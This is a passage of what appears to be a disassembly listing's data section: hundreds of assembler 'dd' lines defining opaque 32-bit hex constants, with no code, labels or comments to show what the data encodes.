		dd 0C0896904h, 755DA8E0h, 0BE48B466h, 0E43DA8h,	1FE0EE5Fh
		dd 0EF38F76h, 64858BCh,	82A97B00h, 9D008D14h, 96C0D3BAh
		dd 159CCC1h, 52A084CDh,	20B593A7h, 0D500E1EAh, 3AFC21ACh
		dd 1DA2B323h, 16F90145h, 0B209028Bh, 1C601D65h,	28399810h
		dd 80A00019h, 7F9D3CEFh, 873907C8h, 0D1FBA3h, 2CFA4E2Bh
		dd 2565661Ch, 638B9AC3h, 0E6D290C1h, 258B26Dh, 0B1844151h
		dd 0F4E13B11h, 546B605Eh, 47A23500h, 488BF98Eh,	0B6AF0002h
		dd 0D8849106h, 3F3FFF4Ah, 7F8C8116h, 0B111CCE7h, 416B8420h
		dd 8526E018h, 0FF7E1200h, 0ADDAB8AFh, 0A05AE827h, 12077AA0h
		dd 306EEDh, 59C9DD54h, 3600B37Ch, 8F6F37E5h, 3E81031Bh
		dd 1C003DC2h, 0D7AB8826h, 65007F01h, 2AD5F86Dh,	4E5B38Ah
		dd 8373196Ah, 0C1F080C4h, 670F9BC7h, 84CA371Eh,	55C0B681h
		dd 4EFCD9h, 27B4D202h, 0CDB91394h, 61BDFF00h, 7AB3228Ch
		dd 936E07B1h, 0E0DFC581h, 981149F5h, 0A70F757Bh, 2507AA2Ch
		dd 80A8D086h, 471050h, 444310F7h, 0B03FFDCh, 594DF900h
		dd 5AB767E1h, 9C424832h, 1B291Dh, 0A549C713h, 6D12E934h
		dd 0DC605C05h, 0FABE0E03h, 3722000Fh, 0E0F94CBAh, 4007ECCDh
		dd 8823B41Ah, 0A78B3920h, 0C059009Eh, 0B7D6AC84h, 734DAA4Ch
		dd 3B40234h, 89963F40h,	2B0FB4h, 3C5DB8DEh, 76930EFBh
		dd 9100D649h, 79D82C82h, 0CEBFA701h, 0D7D16DA0h, 24BC30h
		dd 710F7B36h, 0FC054FCAh, 11F1CF60h, 3079562Bh,	4A71898Ch
		dd 820055C1h, 30E01B8Bh, 13380842h, 60B44D49h, 8C56808Ch
		dd 137E0A05h, 0D0805FBCh, 1F0EACBh, 247DC996h, 605A0CD4h
		dd 4900EBA0h, 172A6209h, 4C600DC6h, 9D00EC59h, 0DF0F2056h
		dd 4B00A5EAh, 2A67C96h,	2C26DC12h, 83D83FE8h, 0B7922CC5h
		dd 59D37803h, 0A80A88C4h, 0A0AA017Eh, 0D6C18Ch,	45118B4Dh
		dd 6DF7FB56h, 0C70023B8h, 1A7B2171h, 0CE6167h, 0B63E9618h
		dd 0F9C42C66h, 490A5Ch,	0E7114CAh, 5A16AC3Bh, 140ACEFh
		dd 59439B86h, 1AC83DA8h, 1C017E2Eh, 40E37F79h, 7B06F3F6h
		dd 0A1004DC0h, 0DAD64E2h, 6F5AC11Bh, 434050A0h,	0E541FB99h
		dd 0F7D63106h, 40CED7h,	89A56D8Fh, 0B7B46A0Bh, 0A03FE100h
		dd 38E55CEAh, 147FB6h, 960785A7h, 8B7F62CEh, 0D425F03h
		dd 0A0D6A116h, 0BD98F6h, 9560FE57h, 8433AED2h, 12F420C0h
		dd 38B5623Eh, 9BA6B8F3h, 3FEF003Fh, 0E62BA423h,	0C559DD09h
		dd 7D388A7Eh, 0F8BA4302h, 0ABE8C066h, 2E6100AFh, 0F5E63DA1h
		dd 410F4FBBh, 0C0037190h, 63C1AD9h, 44A200D7h, 3519A4B5h
		dd 0A009D5Ch, 14D0E30h,	5B8997h, 3A37FA5Ah, 87BB6131h
		dd 54CD9600h, 79BCABC4h
		dd 4AEB0023h, 4F77C0B8h, 8CA3E203h, 0B0345DA8h,	0F33A3900h
		dd 0E1F7C1F4h, 5CBB7F42h, 9300CE99h, 0C213DD52h, 31001D11h
		dd 0BDB26238h, 407875h,	2FEE9DFCh, 5207E415h, 27EBA900h
		dd 36AB8671h, 0F621EC0Fh, 0E526001Fh, 0CC16E97Dh, 1E3A2332h
		dd 80CDBB14h, 58BE07E3h, 3E1DBA7h, 0B9C5F349h, 20AF393Dh
		dd 5E12DEBDh, 3A039BFAh, 17CC57E8h, 0B8CA02Ch, 0A16628B4h
		dd 27DE1FFCh, 0FB8D40EAh, 0AA027A78h, 0E70018FCh, 2E0FCCB5h
		dd 0E6A7F39h, 19ADB85Ah, 5887BD00h, 682474EEh, 0AE163070h
		dd 0FD0600BFh, 0C31924A7h, 0B59D5D00h, 0FCF7C6E2h, 1CDA01C4h
		dd 0FB671DD7h, 5059D50Eh, 0B8B3E2B0h, 87EC80Ch,	54820CFh
		dd 0B9186E79h, 0C41F80AEh, 4F009D5Eh, 0DBF82510h, 5A6530h
		dd 0F6590AC5h, 610BFDFEh, 0E524D11Fh, 774FB4C0h, 0EB62E2h
		dd 8B0D923Ch, 0A1E1C610h, 34DCBF00h, 851E914Ch,	0EB540196h
		dd 0B8E34259h, 0B990C022h, 14866100h, 0E689BB79h, 26D7BC2h
		dd 0C647BF18h, 8840CF4Fh, 0C30024CCh, 1C369BC1h, 1AE2214h
		dd 0FEB06355h, 0F579ECE4h, 0F541C431h, 27061200h, 0E1D2AF38h
		dd 0BD9D0029h, 6A32E43Fh, 3500D493h, 177BA6B1h,	0BBE281h
		dd 8E82448Ch, 4CC0E840h, 0D7C53D01h, 39E64319h,	501545E4h
		dd 5594DBh, 0CF57ECC2h,	1A38D382h, 12A83700h, 0D2F2A2D4h
		dd 0C20C0427h, 912E9A56h, 302257E0h, 6F004BABh,	0AAC6C7D0h
		dd 0CB668Eh, 3048E29Bh,	0ECA29D75h, 0F5163C12h,	0E4A7C000h
		dd 8DD537h, 6F1D5B3Bh, 0FF5FE2BDh, 0F861C702h, 43F2DD64h
		dd 4CC0F424h, 2B6C430h,	0A7C5ECB1h, 0D182D578h,	0A04052DAh
		dd 603F6901h, 0D26202FFh, 40C66AD1h, 0A8CE20h, 69FB64DBh
		dd 41B34C96h, 9D8A830Bh, 949A00F4h, 0FEED8Ch, 3BA82C10h
		dd 0FC7072D8h, 0BE811505h, 0C84722D9h, 0E2100634h, 2A1F6B0h
		dd 0E070CF68h, 8060A471h, 3F044173h, 2EF710DDh,	531FD580h
		dd 389600BAh, 92CD57C2h, 5B00219Dh, 84975178h, 1FE20B6Ah
		dd 0B89E8527h, 0C1C67601h, 0FC0A81A7h, 18015AA6h, 7F74B393h
		dd 6DCC3137h, 0A175D3h,	3BC24A8h, 9AA22CAh, 0C35F800h
		dd 0E87199E1h, 1CEF0031h, 0E0114DF7h, 5171ADE7h, 40F4A20Fh
		dd 2312C0B5h, 25F51Ah, 0F96F08EBh, 180DCED5h, 7A96891Ch
		dd 9CB7494Ah, 75D77900h, 5EEE4F13h, 5B21C03Bh, 297248CBh
		dd 0C7D1E1Dh, 238DF443h, 4BB6B085h, 0D76A027Bh,	0DA405D49h
		dd 0F89D4D40h, 0A701BA00h, 5BE1E013h, 50B70032h, 0A1021A97h
		dd 0D4A17A12h, 668DDC4Fh, 3E461B00h, 388AB2B4h,	3A513EC1h
		dd 981C916Eh, 6D433113h, 973FAB19h, 19D05308h, 0A41749BEh
		dd 7CF76200h, 0BDB31402h, 4383Ah, 0C16A298Bh, 4C56F350h
		dd 0DA1FFC78h, 0C64040CAh, 0A21AFB16h, 8495A600h, 0FDF42160h
		dd 0B972FAh, 0C2589E72h, 0B31E9881h, 897770ECh,	98DD3033h
		dd 0FAB00A38h, 368B78Ch, 18278984h, 0FEE0911Eh,	86033A1Dh
		dd 0D4B79CF8h, 0C617680h, 1A54927Dh, 31143FFAh,	0D3459D81h
		dd 0C8A0F75Fh, 7C605361h, 59700229h, 0D6140026h, 98FD84D7h
		dd 2DE4B9C9h, 80250A39h, 0A8FBFC61h, 1DB266h, 7ED4867Ch
		dd 0CC4D3E3Bh, 260181F0h, 0AB924678h, 0C430136Bh, 8C18CFCEh
		dd 0E6AD4040h, 510714D0h, 3DEE079Bh, 0C20E396h,	80657853h
		dd 50501488h, 936FAE97h, 2E976030h, 1E067C27h, 76C1625Fh
		dd 0D6004018h, 316FB6BEh, 1E2C1BD9h, 0A89C19h, 0A40B4425h
		dd 0B379AAA9h, 7EE5A3Ah, 3871A66Dh, 0F6C17314h,	31FBD806h
		dd 0A609ED18h, 0D36EE150h, 0D1C28E0h, 574151DDh, 9E84FC4Eh
		dd 3C4F7080h, 0AACF7FF0h, 40EF5DE2h, 9933B220h,	1FF3021Eh
		dd 0EDC048B7h, 3E9EA571h, 4E8C302Ah, 22986962h,	855F5807h
		dd 605DACA2h, 30E6000h,	348F004Bh, 79C8F133h, 2FB08EBEh
		dd 36589Fh, 9585B2EFh, 0C6E04273h, 89E61B00h, 0ABF39AC4h
		dd 3C520032h, 0FE7BF5B9h, 7500A398h, 6B209714h,	737962E7h
		dd 58C1886h, 0C798B9DEh, 0AB329A00h, 0D92899FDh, 516258BDh
		dd 114AE203h, 58FB4C0Dh, 0B6D0E7C3h, 0E00A8A3h,	0F6414920h
		dd 0C09A9315h, 1C3F0C48h, 0EF395E51h, 0D9248034h, 0D02398E4h
		dd 144103D5h, 0A3259E53h, 0E801797Ch, 0A4AC696Ah, 9850713Bh
		dd 33629Fh, 8B56A549h, 82372E34h, 3C00EE71h, 1BF716E4h
		dd 61ED9E59h, 77A149CFh, 80C047B5h, 0C3045A34h,	21833500h
		dd 69EED5A7h, 1965486Eh, 7E3BED0Ch, 36009769h, 572B5A2h
		dd 0D50961h, 0DDA98689h, 0B26FF114h, 50F77602h,	40D126C2h
		dd 88995724h, 90026E2Bh, 6EFBD7Bh, 0D09F27D9h, 4C1C6B18h
		dd 775488C0h, 0A022DC3Ch, 0AC9DFCh, 948A47E6h, 0FBAD8483h
		dd 1603D700h, 0FD6C218Eh, 1FE8A8h, 0F6015425h, 0FBAA2D7Dh
		dd 0E20635F2h, 1E5C2012h, 0F8F90E20h, 4C800BF5h, 912D889Dh
		dd 0AB646000h, 66253D4Bh, 367429h, 0B1FF21B4h, 70A7FA67h
		dd 0A0225C07h, 38444860h, 677B7541h, 0FD2ECCABh, 0DBB39707h
		dd 18D0492Ah, 0C3521DAAh, 751FEF28h, 80782383h,	0DC6E4103h
		dd 0B15B8C9Dh, 998A4A8h, 46E17938h, 3CE2DC03h, 72ABAF09h
		dd 6CC918D9h, 959EA839h, 17FAF576h, 0E7A49400h,	3894834h
		dd 0C027752Fh, 2D8CCA69h, 2116474Fh, 141F6B7Eh,	0F7214036h
		dd 8097F091h, 0A7ED67A2h, 2B448CA8h, 67AC0776h,	0D09E51B9h
		dd 7A23F308h, 16E3170Ch, 8C6EE8AAh, 9EDC7704h, 3C62438Ch
		dd 0DC6FE420h, 22BD003Fh, 2AC8F9D8h, 32FC16E7h,	5E8A1701h
		dd 2182A8CDh, 37B6188Ch, 0BEF81FF0h, 52C71000h,	0D796AADh
		dd 2AA000D7h, 7E383108h, 571C7A86h, 2C07E1AEh, 908050A1h
		dd 17B8C25h, 0B6DE1FC2h, 0F353AD02h, 0BB4B1000h, 0A8C5391Dh
		dd 89913AD3h, 0D60F2B40h, 61E4125Eh, 0C3CC2D31h, 21800898h
		dd 5E00EE8Dh, 7C057066h, 0AF54D1h, 93D81C7h, 7A8A39B0h
		dd 0A88B28C3h, 50BCC0EBh, 0FD11C01Fh, 90D50E12h, 846F1803h
		dd 0A3716048h, 88210004h, 0C3050DE9h, 0A4733D90h, 99DC9B00h
		dd 6DA0D8B4h, 8BFD182Bh, 8DF3C098h, 0A406C57Ch,	4F997CA7h
		dd 0DD240388h, 50058502h, 7D031018h, 891D3920h,	7116C44Bh
		dd 372AF500h, 9EFDCBCDh, 1B9901C6h, 0D8CE58EAh,	3B40E023h
		dd 3A4A7200h, 34FBD86h,	0B31200CBh, 8E47ABB4h, 211CD027h
		dd 2D00F8B9h, 1577E00Fh, 0ABD50FE8h, 0B0A025B7h, 0DD052EBDh
		dd 0BE00A6F8h, 831093Ah, 1EF06E30h, 807B5E92h, 881A1353h
		dd 0FB00C0CBh, 7E20FADCh, 3DB6F624h, 0FC8135E7h, 32DCC87h
		dd 0AF9D3091h, 7EB1A81Dh, 77DF4C40h, 0F973E1h, 6933B965h
		dd 7B4A7D9Fh, 2F41A300h, 0C9AC7CE7h, 14FE0386h,	159F85ABh
		dd 0E41E0933h, 2303C09Ch, 70D900E4h, 0B647F292h, 72E61785h
		dd 1E9A3603h, 80A47BB9h, 0C4DE3B03h, 44528E29h,	8D447620h
		dd 28B14A7Eh, 1114BA14h, 0A12293ABh, 2700D6F2h,	53A0B90Ch
		dd 6DFAC9h, 34082E8Dh, 49B04543h, 201A6F00h, 0EFD10B48h
		dd 8FBF000Eh, 3BE947A1h, 0EB00F257h, 7489606Bh,	3B5DB21Eh
		dd 9D0015C8h, 768DB27h,	380F4502h, 821D8BAEh, 0A00BE877h
		dd 7A1B3380h, 20D00A8h,	3048F5Fh, 0DA03B4E7h, 0D6709CA5h
		dd 808000F2h, 0AB6CE145h, 9B00CAAFh, 753AC9BBh,	730B578h
		dd 1684179Dh, 7EACF395h, 7D1EC298h, 0F9003C76h,	44B503D0h
		dd 28684E66h, 0B83725h,	9676129Eh, 550472C7h, 0B775C118h
		dd 12878h, 0E45D1EA8h
		dd 2ED0C21h, 0D000EEF8h, 0F0915EBFh, 0C0BC914h,	0B8E4D753h
		dd 9C003590h, 46FBABBEh, 3B92BF03h, 0B5921EA4h,	60ACF9h
		dd 9726430h, 0D3FE81h, 83F66E7Ah, 0B23A1DDDh, 2C26200h
		dd 446F2F88h, 89CA09Ch,	2C6E00FFh, 0AFC7D32Bh, 123CA696h
		dd 0F9478018h, 0B73F625h, 0ADBC009Fh, 4DC06EAEh, 5C01DC92h
		dd 0E6CEBA77h, 816CA99Dh, 0EA311302h, 0D48A56E8h, 0D28F0040h
		dd 24BD184Bh, 1EF5B400h, 0B0AA179h, 41E71D38h, 56530094h
		dd 0A4F74CFCh, 0BB022B07h, 4580AD7Bh, 7FA4280h,	2D0C7797h
		dd 35646721h, 61FC028Dh, 0EC906643h, 70E6E29h, 4097CA56h
		dd 315AA941h, 92E260h, 67C37B0Ch, 25D17011h, 9A837300h
		dd 0EA5DB65Ch, 37430051h, 0E7217E7Bh, 0CD001282h, 56DE61FDh
		dd 0FAF74DAh, 8E1FEA78h, 0CE00ECC9h, 59A9ACD2h,	0E642B900h
		dd 0E0DEBFD3h, 0B4DC0023h, 9EB8B8Dh, 0D70059DAh, 339C100Fh
		dd 0D5B956h, 0C10280C5h, 0A51CD470h, 20E04D00h,	0B24B74Ch
		dd 10CA3C7Ch, 4FB192h, 7D66E931h, 3A00A7C2h, 0DC5CFD25h
		dd 32DC87Ch, 6DEEEA0Dh,	45F89F64h, 0BBF08584h, 88476B07h
		dd 3D801BCEh, 48DE4EFDh, 0BC008074h, 0ED3042E3h, 0D2908A1Ch
		dd 0E4775B00h, 49A0F267h, 0ECF902E0h, 96C4B071h, 0D75A8848h
		dd 0A4C57300h, 0FCB24F06h, 66BA008Ch, 299D1EFh,	51F49F87h
		dd 0DB5D4200h, 31DEA36Bh, 0F4F10033h, 0B873DD3Ah, 840008E2h
		dd 892FF7B9h, 0D57C01h,	77CB7456h, 0D7DF5CDAh, 400B9214h
		dd 0FD300EDh, 291D84B1h, 20E6007Ah, 342D3DC3h, 1BEC6AC2h
		dd 7FB36E05h, 9B00E5B1h, 102E740Ch, 2D263CCBh, 0AE1F2C80h
		dd 0EC0725ACh, 2AD06116h, 1754EB00h, 19F3082h, 0ADB1257h
		dd 0FC8B3F8Fh, 0D6E215A4h, 0E8443200h, 28825F6Dh, 0A523001Eh
		dd 73E6C862h, 0A7E04298h, 0E688C48h, 0A377C7h, 0FC2C3B55h
		dd 76940095h, 0BF212452h, 1C002FEAh, 73A45E0Bh,	0EA3AC31h
		dd 5A43F349h, 0E2285FA7h, 0DC80504Fh, 0D361F865h, 68CB2A24h
		dd 0B7567900h, 0E167A19h, 64D9B0BFh, 9C396A0h, 3328E9AEh
		dd 0FA07809Fh, 40BB72F4h, 0D4698E10h, 0E1833356h, 0E7B04320h
		dd 7B07A148h, 0BBB15F7h, 0A7201F40h, 0C9ED3EBFh, 253B2802h
		dd 8FC2DDB3h, 9D2F9040h, 0AD0092F6h, 0CE30D0CAh, 2C2398h
		dd 0D9889CFFh, 73C78D9Bh, 0E9091800h, 639349EFh, 0DB291CCCh
		dd 59B5FA6h, 803E44E4h,	2B5B7778h, 219C1A07h, 0D1A0C023h
		dd 0E1933h, 0C20776F1h,	8ACAE739h, 22001575h, 0D413994Ah
		dd 74E2F9h, 6C366FAEh, 5EDA0B82h, 12EF6000h, 90C03DA2h
		dd 83201E62h, 13E9403Fh, 8B7D4FB3h, 3AEE7200h, 829D81ADh
		dd 3244082Eh, 0AB00A12Dh, 0AA3F1406h, 0B89500D4h, 0C1298708h
		dd 0DC3C5713h, 1FBD78h,	0E8A6F9Dh, 707EAFh, 0A7B1730Bh
		dd 92019032h, 133E2300h, 0CC51C7D8h, 6BB006Dh, 68788CABh
		dd 0DC009A3Fh, 96F06904h, 0DBA912h, 0EBFCF340h,	0DAE1B208h
		dd 0E900F89Ah, 2ED368E7h, 667454AEh, 0AAFB19BBh, 0F118AA0Eh
		dd 0C06DA08Ah, 13E7EA4h, 0CABDDF7Ah, 60BACBB7h,	19078B00h
		dd 27EBD660h, 0BC3BD540h, 6C8F004Dh, 0C4741AB3h, 3503DE86h
		dd 0DD92637Eh, 8BAA005Eh, 0BE607F57h, 0EA005424h, 73EC141Ah
		dd 7BE2FAA7h, 0F5360728h, 239A2931h, 7590F896h,	0C1002045h
		dd 0A2B5EE50h, 741BF0h,	0C04385DDh, 0A9109E12h,	168BBB3Ch
		dd 0C7003681h, 0FAD2E024h, 2C9211h, 1E3AD7B5h, 58F1E990h
		dd 71267900h, 18013638h, 2EC403CCh, 0ED4CC9CDh,	0AB7DF390h
		dd 0AEBAD800h, 0F90A1C59h, 0A1B100C7h, 9DFB7640h, 0BF00DBF3h
		dd 3E1B9C86h, 1641798Dh, 12A22D62h, 0F01100E2h,	3C9F6709h
		dd 98B1F300h, 41C45146h, 989EEAEAh, 62060930h, 2500C323h
		dd 9BD1FB35h, 0C887E0A5h, 0FF0F83C5h, 0FB5A880h, 0E08A20Ch
		dd 0F75F8A48h, 18100D7h, 618F604Bh, 2E68E807h, 93A258A9h
		dd 5F58C89Bh, 470F01FAh, 94C706F1h, 0C841F496h,	0DDD80500h
		dd 0ADC96CCAh, 254C001Bh, 0A98A85B2h, 380288E9h, 69E5A417h
		dd 820440DCh, 595D0097h, 0A151962Fh, 9500C188h,	5F1DB642h
		dd 8941DAh, 235BA8BFh, 0CB290B4h, 0FDF7900h, 6AD67DD1h
		dd 2878014Eh, 0B3C3243Ch, 0D09D30E6h, 0D426ED7Ah, 9B1D6C86h
		dd 323C5400h, 4DE9C050h, 7801646Ah, 0E3B67298h,	0F3CADCB9h
		dd 213F5AF0h, 9F4F00FCh, 0B3897B1h, 0FAC20066h,	0C50AF3D2h
		dd 0D26826Eh, 0CD016C91h, 5D6CB52h, 0E489C0h, 0A93F25E0h
		dd 0ECD9F4BFh, 802863FAh, 4004ECD3h, 19039F07h,	0B843B080h
		dd 93EC5Bh, 7A51B47Eh, 7D315655h, 0DCA79000h, 14FB2FEh
		dd 0BF61008Ch, 9323B85Ch, 0DA030A6Eh, 89F72E4Ah, 0B366D9CFh
		dd 41DC9CF9h, 0BDE7009Ah, 0F0119515h, 5900E32Eh, 620D8BDFh
		dd 4D815790h, 16001C28h, 0C3B28429h, 2F68603h, 74BCAC07h
		dd 1501F562h, 0D8DFA9C1h, 118C6Eh, 7A953FD6h, 225CABE3h
		dd 8661E800h, 7083ADD4h, 0FC7F0EF6h, 0D38F6416h, 0F053FFE7h
		dd 7589CDE8h, 0A74C2E17h, 0CAB9843h, 3A9C3894h,	0BE1FB901h
		dd 28A712BAh, 9EF402E8h, 0E0AB88A3h, 0E95B7DBAh, 0C74AFFFCh
		dd 0C0937E20h, 72F8D931h, 0F66B8900h, 0A5509169h, 648E3A3Ah
		dd 0C11FA903h, 0CD21DABh, 6172D440h, 9EBA4806h,	669A871h
		dd 0FD676818h, 160010AAh, 64EFAFBCh, 4B0DA975h,	0B83043C1h
		dd 0F4A9FECAh, 7780E3FAh, 961544A9h, 0BA43AEBh,	8040AE92h
		dd 1B8FA43Ah, 9F72076Dh, 208D2395h, 15E48E1h, 9BD5F32Eh
		dd 1C8C700Fh, 0D00B8B00h, 4B7FC8h, 0AF24CC37h, 0A812319Dh
		dd 3648A300h, 645A8952h, 7A004DBh, 83FFF468h, 70FFCD1Ah
		dd 0E498937Bh, 6723240Eh, 0F2606042h, 740890h, 1E665701h
		dd 0E0A89579h, 0A7009C75h, 7653FA15h, 0DDDF41h,	92307050h
		dd 0F125683Ah, 9E9D0B18h, 7385D0h, 637B1B0Ah, 42EC2CA7h
		dd 69002AFAh, 0F7FB5B46h, 156F9F94h, 0A0D99285h, 803D0D00h
		dd 5248FCEEh, 56CFE300h, 2BED1E94h, 0C294A02Dh,	1DB51501h
		dd 0EC00AC6Bh, 0B214D666h, 0FC0091CEh, 8C70A68h, 50ED73A0h
		dd 0BBD848h, 0B2FDCE6h,	968FB2B5h, 0EFFCA1C0h, 26F6BCB1h
		dd 31BC130h, 59BDB6A6h,	0B58D2A98h, 0E3BF0200h,	0F8CB381Ah
		dd 5A740040h, 473D8C06h, 9503B5B2h, 3FD887A9h, 4AA5E043h
		dd 1EE1BE2h, 0F6B0E02Dh, 70B7A397h, 37980E43h, 9ACA260Fh
		dd 89A998F8h, 0AA002576h, 858755Dh, 1311A6Eh, 0B0886674h
		dd 0E09437ADh, 39C0D993h, 0C751C11Ch, 0CC7AA4h,	0E0F3FD89h
		dd 2E8C6C78h, 0E47F0D0Fh, 0F492E69Fh, 0E53A5861h, 7625B50h
		dd 0CC351840h, 0FF308037h, 0D70085B7h, 2336B19Dh, 7339C29h
		dd 0CBD1EC77h, 661D43ACh, 0D7A06BF0h, 74296907h, 65C3ADF1h
		dd 23C590A6h, 0E8B8CDh,	1D8C77F7h, 19ABE812h, 3F373503h
		dd 0F305659Fh, 0BB2822C6h, 0C5FFFA1Ch, 3FC89040h, 189863Bh
		dd 75DFFE64h, 60C66A9Dh, 7E00DBB2h, 8B9FA92Ch, 1D3ADC9Eh
		dd 4086F891h, 117AFFFDh, 37004714h, 1CAE1E6h, 1D2E5666h
		dd 0C0F7F584h, 16D591D9h, 79001C53h, 0B8F1CA83h, 3D47144h
		dd 0A310DB69h, 72F05201h, 330B83E3h, 654EF4h, 0D03DDA00h
		dd 5C030009h, 5554932Eh, 5800FC8Ah, 411C9295h, 396A197h
		dd 7314DDA3h, 45C0FE19h, 0C800C39Dh, 16AC558Eh,	0F251407Bh
		dd 0C2D328E5h, 49CA2EA4h, 6E013B76h, 740D9945h,	20BEEDB3h
		dd 0D77AFE45h, 0E46F5600h
		dd 0C488C6ABh, 0F636004Fh, 14A66134h, 0F7FE69E2h, 3CD0BF00h
		dd 0B901F818h, 0A1420050h, 47414FDEh, 4E006188h, 0E855E30Ch
		dd 8009ACh, 2CB3246Eh, 5104E22Eh, 0CB5CEB00h, 870FF8F9h
		dd 0F45650D7h, 0EA900049h, 28203BB3h, 6007335h,	0F405C9ADh
		dd 9D01D5h, 751DA46Dh, 9FCA9A6Bh, 86665201h, 0B43DED08h
		dd 7F9D8E4h, 2D1E8265h,	9D23F0B2h, 0E200631Dh, 58C00A97h
		dd 7A768Fh, 0DE3AC7EDh,	0D7EF7C42h, 0AD521D00h,	6CE065CAh
		dd 0EECEF6Bh, 131A1457h, 3300EC02h, 6D7530D9h, 0E1F0DEBAh
		dd 0B4C44A00h, 7BD48AEBh, 0D6470079h, 963CD592h, 483A812Bh
		dd 9A4F87E4h, 65C018F1h, 7EAAE90h, 0D7495013h, 73569057h
		dd 0E2004E21h, 40C66462h, 1EF403EBh, 0C0F9B031h, 0A28F2E19h
		dd 3871EF50h, 0FB08D512h, 0D878800h, 46F60Eh, 2CDFC5BDh
		dd 0F41B373Ah, 0A3EF9707h, 0FE30739Bh, 31A553h,	0BD23760Fh
		dd 0F4B4A89Fh, 33065D00h, 8F4A828Eh, 0F97E0DD7h, 0E8D06E42h
		dd 3E4C4B2Ch, 8706010Bh, 926739A3h, 2BE7520h, 0BDDD1BA2h
		dd 8C80F293h, 4681C53Bh, 0C2B31E00h, 9845F5ABh,	0F2EC61B1h
		dd 0C8F72A7Bh, 5F7BA25Ah, 1038B700h, 261BD0FCh,	43270069h
		dd 0A371E986h, 75000FB4h, 4DF0596Ah, 0E13546BEh, 0F67020h
		dd 553B792Bh, 9F35FF4h,	77B0FF00h, 0EFEBAE6Fh, 1C1A00D8h
		dd 5E1502D6h, 0E11F5598h, 0BAB9723Ch, 670980F9h, 6E51855Dh
		dd 804431F1h, 0F5311DA0h, 0D44AC120h, 8600F25Ch, 0D89649DEh
		dd 641EF28h, 2751AFF9h,	0C0B768A5h, 61897091h, 2046844h
		dd 684881B6h, 0FBAA2CF6h, 0AF8430h, 565097D5h, 0E5BCC8A3h
		dd 3EE74803h, 0FC05CE22h, 0C7B204C0h, 464D07B4h, 0A035EF43h
		dd 411328Bh, 630DD909h,	0ED18A020h, 7067E6CBh, 8DDC001Fh
		dd 905D738h, 310E3B86h,	0A00B2CE2h, 0D4143DCDh,	9B9500EEh
		dd 7E893661h, 2B009C78h, 110294EFh, 0FD4038C5h,	0B5A930h
		dd 8F8EA199h, 49EDD256h, 1098F1F8h, 7C635B00h, 0D0583964h
		dd 0FEA70008h, 0C1CA7BFAh, 731C3220h, 0E79C5CB6h, 0EAD4F5C0h
		dd 0E6E936h, 0FC234925h, 8ECBAB4Eh, 42EEBB03h, 0A4DA64C6h
		dd 401A7480h, 8CF64C79h, 0DC5C2B00h, 0F844FFC4h, 12EE541Ch
		dd 8540E29Ch, 6756AD2Ah, 60760065h, 4B5E6E3Fh, 3728198Dh
		dd 0D814B486h, 0BDA070h, 2AF364B5h, 0A5466Eh, 78DE600Dh
		dd 0F2764AE4h, 0A7F58AA0h, 0B3C05D01h, 0AD361DEDh, 26A87BE8h
		dd 6C3CA0h, 54D1D040h, 81001112h, 0B632D503h, 65BF21h
		dd 0BACC6E2Dh, 97542EC8h, 6CDCB700h, 5F2690D2h,	0BC1D139Bh
		dd 1BB800F2h, 554A7DFFh, 3A61BB01h, 4124050Fh, 4020D820h
		dd 0E0C094D2h, 2DFC3350h, 92DB015Dh, 0D99A6FE5h, 8938306Ch
		dd 0C1168103h, 0E82FA636h, 7FE28Dh, 0E7479380h,	9554113Bh
		dd 5A2E970Fh, 13F100CAh, 0F030EBB6h, 0F5650087h, 5CC3256Dh
		dd 0C700B4ACh, 1D7E7561h, 569DF7h, 0E7628C5Ah, 21D4327Dh
		dd 4928EC00h, 157B489h,	8BC00B2h, 5DBF2369h, 0A700C494h
		dd 92AAE867h, 9907B8h, 0F57E2B5Eh, 29A8D61Bh, 0D8C0C9F0h
		dd 12FDD4ECh, 98503D0Bh, 732A6A80h, 0CBB73D58h,	6304937Bh
		dd 0B0B8C922h, 0FA96DC80h, 0E0D5000Fh, 0C6317C98h, 1300FE2Bh
		dd 1D571ECCh, 0B07465DBh, 6DECF0h, 6C189860h, 0F1897139h
		dd 0EE519C2h, 770CE8EDh, 8D821EDEh, 0C907BA3Ah,	0C0657696h
		dd 0CB913639h, 9A0BE3F6h, 8F9E0B01h, 0F00861E1h, 73E0923Ah
		dd 0E6A03B4h, 9939C960h, 13141FA0h, 32FB4D14h, 8C2C00DCh
		dd 9859E531h, 1BF1C7D1h, 81C90653h, 0B9BC4100h,	6450547Ah
		dd 0A0E4F0EBh, 0AE6C08h, 7932052Eh, 0B231480Ah,	9AA84360h
		dd 50E5ED3Ah, 136B642Ah, 0EAF18Dh, 0C10D5AFEh, 25007B37h
		dd 0DCA4B8AEh, 172F6911h, 123C22FDh, 7AD40070h,	60ACFF14h
		dd 71A8A007h, 60DF75E2h, 3E4AB16Ch, 7DD5736Ah, 32350393h
		dd 0AB82155Bh, 70980AD0h, 97CBFB00h, 65477222h,	9DEE52h
		dd 932BA7Ah, 200114F4h,	3023FF8h, 5D648477h, 0C4ACE139h
		dd 0B558450h, 839500CDh, 774569DCh, 0A10A2F39h,	0B0D2F624h
		dd 0CB232206h, 0E8F01E0h, 4AFD25DCh, 434093EAh,	806DE10Eh
		dd 26355E8Dh, 0ED27BC6h, 0E9CE9EBEh, 34F80380h,	0BDF0D380h
		dd 0A600A57Ch, 4F70EE4Ch, 28941E9h, 0C6BBC139h,	0C891D6E7h
		dd 0A100DB19h, 0DB518BE3h, 77677B76h, 4C11001Eh, 0D8104F3Ch
		dd 96016F5Bh, 3F18CA7Dh, 0D1207E2Fh, 0CECC1EC6h, 7A73C786h
		dd 492EA3F1h, 90A258B8h, 2937A60Ch, 314611Fh, 49FE171h
		dd 2001A777h, 4B199EA3h, 7BF0B441h, 7D04A742h, 60AA9B50h
		dd 6CB611B2h, 0B93F4D67h, 0F9C183F0h, 98F2FA51h, 61B81F44h
		dd 66D419B6h, 0A424DA36h, 0C490AA41h, 0CEACD484h, 82B408C0h
		dd 0D0B8081Eh, 0B0003C20h, 0E3CE6C38h, 9200ED78h, 2D67BE2Ah
		dd 3068B3E2h, 1918FB2Eh, 330360D9h, 0AF615C48h,	0C84DC0C5h
		dd 0CE6F0A3h, 643FECEBh, 0F47F2A50h, 78427F3Eh,	0C03D7A01h
		dd 0A7A944DEh, 40A0A0h,	87F9D475h, 0C5745241h, 9F54F200h
		dd 5FC846C6h, 0C493016Ch, 0B42A4899h, 2CC08DEFh, 0E7E3589Fh
		dd 0B9053F80h, 52470061h, 0FCCC1119h, 5C0A8E2Bh, 34C65E93h
